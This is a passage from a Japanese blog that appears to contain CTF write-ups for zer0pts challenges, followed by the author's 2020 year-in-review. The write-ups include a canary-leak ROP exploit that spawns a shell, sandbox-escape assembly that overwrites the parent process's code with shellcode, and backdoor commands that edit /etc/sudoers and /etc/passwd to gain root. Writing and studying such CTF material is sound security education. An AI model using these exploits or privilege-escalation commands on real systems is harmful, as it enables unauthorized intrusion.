のようにallocaでゲーム数分のメモリを確保しています。allocaというのは、mallocのように動的にサイズを決めて、メモリを確保することができる仕組みで、mallocとの違いは、freeをしなくて良い代わりに、生存期間がこの関数内です。具体的には、スタックを上げ下げすることで、メモリを確保しています。これを念頭に置くと、スタックを良い感じに上げ下げすると、ask_nameask_numberで使われたcanaryの位置に、goalを置くことができることに気づきます。

What is your name?
> 1
How many times do you want to try?
> 16
-=-=-=-= CHALLENGE 001 =-=-=-=-
Time[sec]: +
Stop the timer as close to 617509278313277091542227769970559604164567213334943896650100539216663619993774220164116246091155517995302682177562902367971147901679919912594346122149888.000000 seconds as possible!
Press ENTER to start / stop the timer.

ヤバいですね。適当なtranslator

#include <stdio.h>

typedef union {
    double x;
    unsigned long long y;
} U;

int main(void) {
    U v;
    scanf("%lf", &v.x);
    printf("%llx\n", v.y);
    return 0;
}

を書くと、この表示された値は 5fa794a51be9dc00 であることが分かります。canaryがリークできました(ちなみにcanaryの値によっては、リークができないので注意)。

canaryさえリークできればあとはROPをすればよいです。

server = process('translator')


rs('/bin/sh')
rs('15')

rs('+', r=':')
recvuntil('close to ')
v = recvuntil(' ')
print(v)
server.sendline(v)
l = server.recvline()
canary = int(l, 16)
sendline('\n')

print(hex(canary))
recvuntil('(Y/n) ')


payload = [
        pop_rdi, # pad

        pop_rdi,
        leak,
        puts_plt,

        ask_again,
        ]

pad = 'A' * 0x18 + p64(canary)

payload = ''.join(map(p64, payload))

'''
b * 0x400915
'''
wait_for_attach()
sendline(pad + payload)

libc_base = just_u64(recvline()) - libc_start_main_offset
print(hex(libc_base))

recvuntil('(Y/n) ')

binsh = libc_base + binsh_offset
system = libc_base + system_offset

payload = [
        pop_rdi, # pad
        ret,

        pop_rdi,
        binsh,

        system,
        ]


payload = ''.join(map(p64, payload))
wait_for_attach()
sendline(pad + payload)

interactive()

最初にlibcアドレスをリークするROP、その後でもう一度ask_againをして、二番目でsystem("/bin/sh")を実行するROPを組んでいます(PoCの完全版)。

nasm kit

概要は、「x86アセンブリを受け取って、sandbox下で実行したときに、sandbox escapeできますか?」という問題です。実装の詳細は載せきれないですが、重要なのはsystem callのハンドラーです。

DEFINE_HANDLER(handler_syscall)
{
  char *buf;

/** 省略 **/


  case SYS_mmap:
    /** SYS_mmap */
    REG_RETVAL = syscall(SYS_mmap, REG_ARG1, REG_ARG2, REG_ARG3, REG_ARG4, REG_ARG5, REG_ARG6);

    if ((void*)REG_RETVAL == MAP_FAILED) {

      /* Failed to allocate*/
      REG_RETVAL = -1;

    } else if (REG_RETVAL != REG_ARG1) {

      /* Invalid address */
      syscall(SYS_munmap, REG_RETVAL, REG_ARG2);
      REG_RETVAL = -1;

    } else {

      /* Success */
      if (UNICORN_ERROR(uc_mem_map_ptr(uc, REG_RETVAL, REG_ARG2, UNICORN_PROT(REG_ARG3), (void*)REG_RETVAL)))
        ABORT_PROGRAM("Error on uc_mem_map_ptr");

      REG_RETVAL = 0;

    }
    break;

  case SYS_munmap:
    /** SYS_munmap */
    if (syscall(SYS_munmap, REG_ARG1, REG_ARG2) != 0) {
      REG_RETVAL = -1;
    } else {
      if (UNICORN_ERROR(uc_mem_unmap(uc, REG_ARG1, REG_ARG2))) {
        ABORT_PROGRAM("Error on uc_mem_unmap");
      }
      REG_RETVAL = 0;
    }
    break;


/** 省略 **/

mmapでなぜか「親と子供のアドレスがストレートマップになるように」メモリマップを構築しています。とても怪しいですね。

この問題は2つのパートに分かれます

  • どのように親のアドレス空間のアドレスをリークするか
  • 親のアドレス空間が分かったとき、どうやって親側で任意コードを実行するか

です。

前半:親のアドレスリー

このsandboxでは、addr' = mmap(addr, size, ...)として得られたaddr'がaddrと一致していなかった場合は、その領域をmunmapした上でエラーを返すような実装になっています。mmapではMAP_FIXEDを指定しなければ、アドレスはただのヒントとして扱われるだけで、指定したアドレスの領域に被りが生まれる場合は別の場所から、適切なサイズのメモリを確保します。つまり、今回のsandboxにおいては、mmapの成功・不成功を見ることで、「親の空間にメモリマップが存在しているか?」を検査することができます。

f:id:moratorium08:20210308214455p:plain
成功
f:id:moratorium08:20210308214500p:plain
失敗

基本的には、二分探索をすれば良いですが、リモートでmmapのサイズとして指定してエラーが帰らないサイズがあまり大きくなかったので、この探索はさらに2つのパートに分かれます

  • [0x550000000000, 0x570000000000)までの領域を0x80000000ずつ前から順に調べていって、エラーになる場所を探す。その領域を[X, X+0x80000000)とする
  • [X, X+0x80000000)を二分探索していき、どこから親のコード領域が開始するかを正確に発見する。

Cで上述のアルゴリズムを書くと以下のようになります(なおmmapの仕様が違うので、上のプログラムをLinux上でコンパイルしても、意図したとおりには動きません)

#define SIZE 0x80000000llu

typedef unsigned long long u64;
int main(void) {


    u64 addr = 0x550000000000llu;
    u64 lb =   0x550000000000llu;
    u64 ub =   0x570000000000llu;

    for (u64 i = lb; i < ub; i += SIZE) {
        u64 x = (u64)mmap((void*)i, SIZE, 0, 0x22, -1, 0);
        if (x != 0) {
            addr = lb;
            lb = (i >> 12);
            ub = (i + SIZE) >> 12;
            break;
        }
        else {
            munmap((void*)i, SIZE);
        }
    }

    while (ub - lb > 1) {
        u64 mb = ((ub + lb) / 2);
        u64 size = mb - addr;

        u64 y = addr * 0x1000;
        u64 z = size * 0x1000;
        u64 x = mmap(y, z, 0, 0x22, -1, 0);
        if (x != 0) {
            ub = mb;
        }
        else {
            lb = mb;
            munmap(y, z);
        }
    }
    printf("%llx\n", lb * 0x1000);
    scanf("%llu", &addr);

    return 0;
}

以上で、親の空間のコード領域のアドレスをリークすることができました。

後半:親で任意コード実行

ここまでは良かったのですが、この後親の空間で任意コード実行をするにはどうすればよいでしょう。mmapでrwxを作れるので、RIPが取れれば、勝ちですが、プログラムにそのようなことができるバグは無さそうです。ここでmmapだけで、RIPを書き換えるにはどうすればいいっすかね〜とkcz146 さんに尋ねたところ「MAP_FIXEDで、うまいこといかんの?」と言われて、ほえーとなります。

mmapのフラグでMAP_FIXEDを指定すると、mmap(addr, size, ...)で指定したaddrがヒントではなく実際にマップされる場所になります。これは既にマップされていても強制的に上書きされます。つまり、これを用いて、コード領域のメモリをガバっと書き換えてしまえないか?というアイデアになります。

実際にこれはうまくいきます。メモリマップを見てみると以下のようになっていて、

gdb-peda$ vm
Start              End                Perm  Name
0xdead0000         0xdeae0000         rw-p  mapped
0x0000561813dba000 0x0000561813dbd000 r-xp  /home/vagrant/ctf/zeropts2020/nasm_kit/bin/x64-emulator
0x0000561813fbc000 0x0000561813fbd000 r--p  /home/vagrant/ctf/zeropts2020/nasm_kit/bin/x64-emulator
0x0000561813fbd000 0x0000561813fbe000 rw-p  /home/vagrant/ctf/zeropts2020/nasm_kit/bin/x64-emulator

特に、base + 0x2000の位置をダンプしてみると

gdb-peda$ x/40gx 0x0000561813dbc000
0x561813dbc000 <__static_initialization_and_destruction_0(int, int)+44>:  0xed358d4800201004  0x0fe6058b48002012
0x561813dbc010 <__static_initialization_and_destruction_0(int, int)+60>:  0xef66e8c789480020  0x894855c3c990ffff
0x561813dbc020 <_GLOBAL__sub_I_reg_vals+3>:   0x01bf0000ffffbee5  0xffffffa4e8000000
0x561813dbc030 <_GLOBAL__sub_I_reg_vals+19>:  0x7d89e5894855c35d  0x23fc458bf87589fc
0x561813dbc040 <std::operator&(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+14>:   0xe5894855c35df845  0x458bf87589fc7d89
0x561813dbc050 <std::operator|(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+12>:   0x4855c35df8450bfc  0xfc458bfc7d89e589
0x561813dbc060 <std::operator~(std::_Ios_Fmtflags)+10>:   0xe5894855c35dd0f7  0xf87d894810ec8348
0x561813dbc070 <std::operator|=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+12>: 0x8bf8458b48f47589  0xc789d689f4558b00
0x561813dbc080 <std::operator|=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+28>: 0x48c289ffffffbfe8  0x458b481089f8458b
0x561813dbc090 <std::operator|=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+44>: 0x48e5894855c3c9f8  0x89f87d894810ec83
0x561813dbc0a0 <std::operator&=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+13>: 0x008bf8458b48f475  0xe8c789d689f4558b
0x561813dbc0b0 <std::operator&=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+29>: 0x8b48c289ffffff7e  0xf8458b481089f845
0x561813dbc0c0 <std::operator&=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+45>: 0x8348e5894855c3c9  0x7589e87d894820ec
0x561813dbc0d0 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+14>:  0xe8458b48e05589e4  0x458bfc458918408b
0x561813dbc0e0 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+30>:  0xffffff6ee8c789e0  0x8348e8458b48c289
0x561813dbc0f0 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+46>:  0xe8c78948d68918c0  0x8be0558bffffff97
0x561813dbc100 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+62>:  0x27e8c789d689e445  0x458b48c289ffffff
0x561813dbc110 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+78>:  0x48d68918c08348e8  0x8bffffff45e8c789
0x561813dbc120 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+94>:  0xe5894855c3c9fc45  0xf87d894810ec8348
0x561813dbc130 <std::hex(std::ios_base&)+12>: 0x00004abaf8458b48  0x894800000008be00

のようになっています。mmapをすると、そのコード領域が全ての0になってしまうので、上述の方針を成功させるために必要なメモリページの要件として

  • 子供に実行が帰ってくる前に、その領域にRIPが行かない
  • メモリをシェルコードに書き換えた後で、RIPをその領域に向けることができる

という2点が挙げられます。この内1点目は、実際にやってみると、大丈夫であることが分かります。2点目として、このページにRIPが向かない場合(つまり正常実行でこの領域にあるコードが実行されない場合)、今回RIPを恣意的に変えることはできないので、書き換えられても無意味になってしまいます。ここで上のメモリダンプの中にstd::hexという文字があることに着目します。これはemulatorがterminateした後で

  std::cout << "[+] Emulator terminated" << std::endl;

  /* Print register values */
  if (UNICORN_ERROR(uc_reg_read_batch(uc, (int*)syscall_abi, reg_ptrs, 7)))
    ABORT("Error on uc_mem_map (unexpected)");

  std::cout << "===== registers =====" << std::endl;
  std::cout << "RAX: " << std::hex << reg_vals[0] << std::endl;
  std::cout << "RDI: " << std::hex << reg_vals[1] << std::endl;
  std::cout << "RSI: " << std::hex << reg_vals[2] << std::endl;
  std::cout << "RDX: " << std::hex << reg_vals[3] << std::endl;
  std::cout << "R10: " << std::hex << reg_vals[4] << std::endl;
  std::cout << "R8 : " << std::hex << reg_vals[5] << std::endl;
  std::cout << "R9 : " << std::hex << reg_vals[6] << std::endl;
  std::cout << "=====================" << std::endl;

のようにメモリダンプに使われる関数です。つまり、emulatorをterminateさせれば、親に任意コード実行させることができるということが分かります。シェルコードをstd::hexの位置に流して終わりです。

main:   ; Function begin
  xor r9d, r9d
  mov r8d, -1
  mov r10d, 0x22
  mov edx, 3
  mov rsi, 0x10000
  mov rdi, 0xdead0000
  mov eax, 9
  syscall

  mov rsp, 0xdead3000
  mov rbp, 0xdead3000

  mov rdi, 0xdead4800
  mov rsi, 0x0a0a0a0a0a0a
  mov [rdi], rsi

;;-> wait for attach
  mov edx, 0x400
  mov rsi, 0xdead0000
  mov edi, 0
  mov eax, 0
  syscall
  mov rsi, 5
  mov rdi, 0xdead0000
  call print_buf
;;<- end wait for attach


  mov     rax, qword 555000000000H
  mov     qword [rbp-58H], rax
  mov     qword [rbp-50H], rax
  mov     rax, qword 570000000000H
  mov     qword [rbp-48H], rax
  mov     rax, qword [rbp-50H]
  mov     qword [rbp-40H], rax
  jmp     ?_003

  ?_001:  mov     rax, qword [rbp-40H]
  mov     r9d, 0
  mov     r8d, 4294967295
  mov     ecx, 34
  mov     edx, 0
  mov     esi, 2147483648
  mov     rdi, rax
  mov eax, 9
  syscall
  mov     qword [rbp-38H], rax
  cmp     qword [rbp-38H], 0
  jz      ?_002
  mov     rax, qword [rbp-40H]
  shr     rax, 12
  mov     qword [rbp-50H], rax
  mov     qword [rbp-58H], rax
  mov     edx, 2147483648
  mov     rax, qword [rbp-40H]
  add     rax, rdx
  shr     rax, 12
  mov     qword [rbp-48H], rax

  call print_end
  mov rdi, qword [rbp-50H]
  call print_reg

  jmp     ?_004


  ?_002:
  ;call print_cont

  mov     rax, qword [rbp-40H]
  mov     esi, 2147483648
  mov     rdi, rax
  mov eax, 11
  syscall
  mov     eax, 2147483648
  add     qword [rbp-40H], rax
  ?_003:  mov     rax, qword [rbp-40H]
  cmp     rax, qword [rbp-48H]
  jc      ?_001
  ?_004:  jmp     ?_007

  ?_005:  mov     rdx, qword [rbp-48H]
  mov     rax, qword [rbp-50H]
  add     rax, rdx
  shr     rax, 1
  mov     qword [rbp-30H], rax
  mov     rax, qword [rbp-58H]
  mov     rdx, qword [rbp-30H]
  sub     rdx, rax
  mov     rax, rdx
  mov     qword [rbp-28H], rax
  mov     rax, qword [rbp-58H]
  shl     rax, 12
  mov     qword [rbp-20H], rax
  mov     rax, qword [rbp-28H]
  shl     rax, 12
  mov     qword [rbp-18H], rax
  mov     rax, qword [rbp-20H]
  mov     rsi, qword [rbp-18H]
  mov     r9d, 0
  mov     r8d, 4294967295
  mov     ecx, 34
  mov     edx, 0
  mov     rdi, rax
  mov eax, 9
  syscall
  mov     qword [rbp-10H], rax
  cmp     qword [rbp-10H], 0
  jz      ?_006
  mov     rax, qword [rbp-30H]
  mov     qword [rbp-48H], rax
  jmp     ?_007

  ?_006:  mov     rax, qword [rbp-30H]
  mov     qword [rbp-50H], rax
  mov     rax, qword [rbp-20H]
  mov     rdx, qword [rbp-18H]
  mov     rsi, rdx
  mov     rdi, rax
  mov eax, 11
  syscall
  ?_007:  mov     rax, qword [rbp-48H]
  sub     rax, qword [rbp-50H]
  cmp     rax, 1
  ja      ?_005

  call print_end
  mov rdi, qword [rbp-50H]
  call print_reg

  mov edx, 0x8
  mov rsi, 0xdead0000
  mov edi, 0
  mov eax, 0
  syscall

  mov rax, 0xdead0000
  mov r12, [rax]

get_shell:
  xor r9d, r9d
  mov r8d, -1
  mov r10d, 0x32
  mov edx, 7
  mov rsi, 0x1000
  mov rdi, r12
  mov eax, 9
  syscall
  mov rax, r12
  add rax, 0x124

mov dword [rax], 3142107185
add rax, 4
mov dword [rax], 2442567121
add rax, 4
mov dword [rax], 4288122064
add rax, 4
mov dword [rax], 1406924616
add rax, 4
mov dword [rax], 1385783124
add rax, 4
mov dword [rax], 2958971991
add rax, 4
mov dword [rax], 331579

mov rax, 0x100000
mov dword [rax], 0

  print_buf:
  mov rdx, rsi
  mov rsi, rdi
  mov edi, 1
  mov rax, 1
  syscall
  mov rdx, 1
  mov rsi, 0xdead4800
  mov edi, 1
  mov rax, 1
  syscall
  ret
  wait_for_attach:
  mov edx, 0x400
  mov rsi, 0xdead0000
  mov edi, 0
  mov eax, 0
  syscall
  ret
  print_reg:
  mov rax, 0xdead0000
  mov qword [rax], rdi
  mov rdi, rax
  mov rsi, 8
  jmp print_buf

  print_cont:
  mov rax, 0xdead0000
  mov qword [rax], 1953394531
  mov rdi, rax
  mov rsi, 4
  jmp print_buf

  print_end:
  mov rax, 0xdead0000
  mov qword [rax], 6581861
  mov rdi, rax
  mov rsi, 3
  jmp print_buf

良い問題でした。

infected

僕が唯一解いたpwn以外の問題(rev)です。revをするとデバドラで、バックドアをしかけていることが分かり、なんか好きにレギュラーファイルのmodeを書き換えられるらしいです。sudoersにしつつ/etc/passwdに自分を入れて終わりです。

echo "b4ckd00r:/etc/sudoers:2559" > /dev/backdoor
echo "sudo  ALL=NOPASSWD: ALL" >> /etc/sudoers
echo "b4ckd00r:/etc/passwd:2559" > /dev/backdoor
echo "sudo:x:1000:1000:sudo:/:/bin/sh" >> /etc/passwd
echo "b4ckd00r:/etc/sudoers:288" > /dev/backdoor

感想

問題の質がとても良かったので体験として最高だったのと、僕がいっぱい問題解けて体験として最高だったので、最高でした。それに順位がまあまあよくて賞金がTSGに送られるそうです。すごい。 今年初めてのCTF*1 でしたが、途中でamong usやTSG/KMC esolang大会に行くことなく*2、ずっとCTFできたのは、割と非本質パートがなくずっと集中していられたおかげだと思うので、本当に良かったです。

*1:参加しようとしたが、実はamong usをしていたみたいなことはあった

*2:esolangして有が埋めたかは不明でですが

2020年の振り返り

COVID-19の感染拡大の影響で、人生で、家から一番出なかった一年っぽい。

とはいえ通学他の移動時間がなくなったことで、体力的・時間的に動ける時間が増えて、使える時間が増えたので、結果的に良かった面もありそう。良くなかった面は、当然他人と現実世界で会えなかったので、コミュニケーションが色々な人とは上手にできなかったこと。

今年やったことは雑には

に分けられるので、それぞれについて雑にまとめる。

研究

まず、偉いのは卒論を書いて卒業したこと。1月はずっと卒論に従事していた。 今の時期になってかなり気づいたが、卒論で頂いたテーマはかなり良かった。というのも、もちろんその後refine(これも6月頃1ヶ月ほどやっていた..)して会議に通ったのも良い点だが、それ以上に「論文の執筆のいろは」を含め色々なことに理解が生える良いジャンプ台だった気がする。実際今の研究に大きく繋がっている(今の研究がうまくいくかはわからないが)。

卒論、会議論文執筆 + 研究発表を通して分かったことだが、かなり英語が破滅している。 なので、目下の課題としては英語能力の向上を図っている。

社会方面

今まで大きな企業で働いたことがなかったが、さすがに社会を知らなすぎるとヤバい気がしたので、インターンに応募し、LINEで6週間働かせてもらった。実際コードを書くのは楽しいし、LINEのサービスの一端に関わっている感があって良かった。内容は、https://engineering.linecorp.com/ja/blog/internship-report20-hypervisor-update-system-with-kubernetes/ にまとまっている。

実際最規模なクラスターに対する処理を(理論上考えることはあれど)実際に書くことは今までになかったのでかなり貴重な経験だった。

あと、地味にGSoCでlibvirtプロジェクトの一端に携わり、LINEでOpenStack + Kubernetesに紛いなりにも携わった(おこがましいか?)ので、そっち方面の経験があるということで就職できないかな。厳しいですかね。

CTF

多分今年は今までで一番真面目に参加したCTFが多かった

  • PlaidCTF
  • Spam And Hex CTF
  • CTFZone Finals
  • DEFCON Quals
  • Google CTF (+ Hackceler8)
  • TokyoWestens CTF
  • Hack.lu
  • Dragon CTF
  • HITCON CTF
  • ASIS Finals

WriteupsのいくつかはGitHub にまとめた。

特筆すべきは、今年は、TSG外チームとの合同チームで参加したCTFもいくつか(shibad0gsでSpamAndHex, DEFCON、I use BingでGoogle CTF)あってこれもかなり良かった。I use Bingは日本人以外の人々との交流に繋がったし、僕自身の貢献は微々たるものだったが、Google CTF Finals相当(?)の大会で、2位にもなった。そういえば動画が公開されるらしいって聞いたけどどうなったんやろ。 割とTSGに引きこもりがちだったが、他のチームの人々との交流があるとやる気に繋がって良い。実際その影響でこれだけCTFやった面も大きい。

作問も結構した。

  • TSG CTF
    • Beginner's Pwn
    • Detective
    • std::vector
    • (Karte with kirby)
  • SECCON CTF
    • Yet Another PySandbox
    • Yet2 Another Python Sandbox
    • mlml
    • Fixer
  • TSG Live (誰も得しないけど、地味にちゃんとした問題作ったんですよ)
    • one bytes man (と仲間たち2問)
    • getting over it

それぞれ問題に若干のエピソードあり、割とどの問題も気に入っている(正確にはどれももう少し洗練すべきだったが)ので全部(多分)思い出せた。去年よりは上手になったと思うが、納得行くような問題は作れていない。来年も何問かは作りたい。

作問者側エピソードで言えば、SECCONの作問でzer0ptsの人々やSECCON各位とワチャワチャしたのは楽しかった。地味にsecurity campに1億年前に参加した時にpwnの講義をしていただいた岩村さんと同じ作問者側になっていたのもちょっとエモかった(直接は話さなかったが)。

あとCTFに分類されるわけではないが、FetchDecodeExecWriteとして、ISUCONに今年も出た。akouryyくん、くっきーさんが強いので正直僕の貢献がどれほどあるのかわからない。というか、今年は特に本戦の最後でNginxちゃんと分散させておけば賞金に手が届いていたっぽかったので、これをしなかった僕はカスです。ごめんなさい。まあでも個人的には人々とワチャワチャできたので楽しかったと言ったら怒られるだろうか。

来年(今後)

来年は海外に行けるようになるのだろうか、とりあえず夏休みくらいからは大学には行きたいところではある。

就職活動はするが、大学で研究を続けたいという気持ちも強いので、人生レベルで難しい決断をそろそろしないといけない、厳しい。そもそも欲しいと言ってくれる人がいなければニートになるわけだけれど...

就職活動と並行して今やっている研究を早いところ一定の形にしたい。そういうことを考えるとCTFを毎週末している場合ではないんですが、、とはいえTSGCTF3は開催したいね。

補足

投稿する前にふと去年の総括を見てみたら、一昨年の総括に対する去年の総括での言及が面白かった。

来年の目標として一つあるのは、ある程度ちゃんとしたCTFにおいて最終的にsolver数一桁になるような問題を適切に解いていきたい。最近CTF終わった後いつもそういう感想になる。あとは基本的に研究に取り組みたいなとは思う。個人的な意見としては楽しいと思う。

残念ながら厳しかった。挑戦はしているんだけどね。特にTSGでやっているときは、比較的簡単めの問題にそれなりに時間を使ってしまうのでなかなか難しい問題に使う体力が残っていないがち。とはいえそれは言い訳で、I Use BingででたGoogle CTFのmathshや、shibad0gsで出たときのDEFCONのsupersecurecalcあたりは解きたかったんだけど、これは解けなかったので、結局自力が足りないのでは。

去年の総括を見ていると

地下は太陽が無いのでやはり太陽にあたっていくあたりから挑戦するべき、あとは英語精進をしないと死にそう。

という記述があったが、研究室が地上になったことで必然的に前者はある程度達成できるようになった。西日は眩しい。後者は今もなお問題で、実際に死んでいる。

らしいが、残念ながら研究室にいけなくなったことで太陽を浴びなくなってしまった。これは良くないことです。英語精進は分かる。個人的には去年のこの記事を書いていた頃よりは明らかに英語の能力は向上しているので、その点で進捗はあるはず。TOEFLでも受けて数字として理解できるようにしようかな。

人間、人生を考えすぎなので僕も考えなきゃいけないのかなという気持ちになってきた

人生よくわからん。いずれにせよ、来年は就活的なものが発生したりしなかったりするのかもしれない、考えを先送りにしている

こまりました..

にしても去年CPU実験やGSoC言及してるけど1億年くらい前の話な感じがする。